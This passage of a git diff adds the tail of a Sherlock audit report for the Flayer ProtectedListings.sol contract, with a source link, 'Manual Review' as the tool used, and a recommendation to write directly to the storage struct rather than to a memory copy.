+ }
+}
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L198
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Directly update the storage struct without attempting to modify a `memory` copy. Ensure that all necessary fields are correctly set in storage.
\ No newline at end of file
diff --git a/invalid/.gitkeep b/invalid/.gitkeep
new file mode 100644
index 0000000..e69de29